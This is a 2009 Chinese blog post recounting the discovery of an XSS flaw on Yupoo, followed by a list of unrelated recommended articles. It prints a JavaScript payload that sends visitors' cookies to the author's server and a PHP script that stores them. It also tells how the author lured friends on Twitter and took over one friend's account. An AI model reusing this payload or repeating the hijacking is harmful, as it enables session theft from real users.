Yupoo 的 XSS 漏洞攻击实录
作者：grace 来源：gracecode.com 发布时间：2009-01-18 13:34:00
声明：此漏洞已经提交到 Yupoo 官方。因此漏洞造成的任何后果，本人不承担任何责任。
偶然的机会发现 Yupoo 线上某页面有个 XSS 漏洞，它能执行任意的前端代码。
漏洞产生的原因主要有两点，首先是表单虽然定为 POST 方法，但尝试后发现 GET 参数也可以接收的；其次，也是最致命的是，输入的参数没有经过任何的转义和过滤，就被加入到了页面中。
于是插入了相应的 Javascript 代码，并构成了 XSS （参看图中 input 参数后面的 value 已经构成了 script 标签）。
弹出个 alert 框似乎并不能说明什么问题，最好能使它发挥威力。于是构建了个 Javascript 脚本传递客户端的 cookie 到本人的服务器环境。Javascript 脚本可以简单的这样写
var img = new Image(); img.src = 'get_cookie.php?var=' + encodeURI(document.cookie);
然后服务器端使用 PHP 简单写了个脚本保存 Cookie 数据
<?php if (isset($_GET['var'])) { file_put_contents('./cookie/'.time().'.txt', urldecode($_GET['var'])); }
接下来就属于社会学的范畴，我在 Twitter 上发了信息并“引诱”朋友们去点击伪造后的连接（我承认很猥琐）。
不一会就收集了某兄弟的 Cookie，于是将其 Cookie 内容填到了本地浏览器上（谢天谢地，Yupoo 的 Cookie 不是很多）。
再次刷新浏览器，已经使用该用户的帐号登陆了（即便此时我还不知道他的密码）。
最后，使用此帐户发张本人的艳·照，纪念下…
-- Update --
截止 2009-01-14 16:25 , Yupoo 已经修复了此漏洞，效率真高！赞！
-- Split --
总结：上述攻击的手段，仅仅是从个不起眼的 XSS 漏洞开始。XSS 虽然发现快、修补也很方便，但从根本上避免还是个值得研究的课题。
Web2.0 大潮已降，前端正在改变这这个世界。前端代码的安全问题，是每个前端从业人员必须去面对和注意的。
0
投稿猜你喜欢
1. 官网地址官网上提供了安装参考步骤：点击此处查看官网2. 安装RPMyum install https://download.postg- 1、首先选中需要克隆的虚拟机，右键点击管理-->克隆，注意关闭虚拟机2、修改MAC地址，一般克隆完成后，虚拟机的网卡MAC地址会自动改
- 组装服务器并托管服务器纪实自己买了虚拟主机及VPS，用着感觉还可以，但是性能和稳定性还是有很大的瓶颈。忍不住了，今日自己跑到中关村组装了一台
- ——从“秒杀门”到“ISBN门&
- 一、背景不定时会做一些内训，会经常用到实验坏境；一开始搭建了一个docker容器，但考虑到不是所有学员都会使用docker，因此做了一个虚拟
- 随着google product search产品（http://www.google.com/prdhp?tab=wf）的低调上线，马总关
- 一、安装muttyum install mutt -y二、配置muttvim /etc/Muttrc在里面找到下面几行，并将内容修改为你自己
- 本文为大家分享了linux安装VMWare Tools配置教程，供大家参考，具体内容如下1、在vmware虚拟机选项下，选择安装vmware
- Windows2003服务器安装及设置教程——注册表篇 防DDOS洪水攻击处理reg add "HKEY_CURRENT
- 今天我们一起来探讨文件管理命令中的mkdir命令，创建文件夹，学习永无止境，冲！1、mkdir 命令介绍mkdir命令来自于英文词组&
- 11月20日、21日纵贯线“钟爱一生”北京首体演唱会已经进入倒计时。作为世界巡演的收官站，北京演唱会票房频频告捷。笔者了解到，为了求得一张门
- 互联网经济在我国发展得如火如荼，从而掀起了一波又一波的建站热潮。只要互联网不衰退，每天就会有不同的网站诞生，建站热潮扩大了对虚拟主机的需求，
- 前序：最近开始研究Hadoop平台的搭建，故在本机上安装了VMware workstation pro，并创建了Linux虚拟机（cento
- 呵呵，前一阵子，asp之家应该也被百度降权了，2天时间收录由原来的两千多页到只留一个首页，很郁闷。后来也看了很多这方面的文章，有的说换域名，
- 如何判断当前Linux系统是否安装在VMware上面呢？ 因为公司大部分服务器位于VMware上，也有小部分系统部署在物理机上面。今天老大要
- 说实话，今天讲这个主题纯属纸上谈兵，请各位高人莫怪，至今惭愧没有一个像样的站，不过因为经常为别人做技术以及做空间销售过程中接触过不少站长，了
- 序言：前几天跟朋友开玩笑说，要不我们一起来学习一下swift编程语言吧~我们就抱着玩玩的态度，没有想过要做出什么优秀的app或者产品出来，仅
- 国庆期间，华谊公司集结旗下众多一线明星拍摄的献礼影片《风声》，自首映以来票房一路高升，好评如潮。为了延续影片的精彩，我突发奇想，用&
- 网站程序上传到服务器的各种方法汇总，制作好网页程序后，如何把网页上传到申请的空间呢？为初学者做一个汇总。上传的定义 上传就是将信息从个人计算
- 第一：网站内容的相关性也就是用户搜索的关键词与网页内容是否匹配，是否有相关性。相关性的加强可以通过页面内优化和一小部分链接优化来达到的。包括
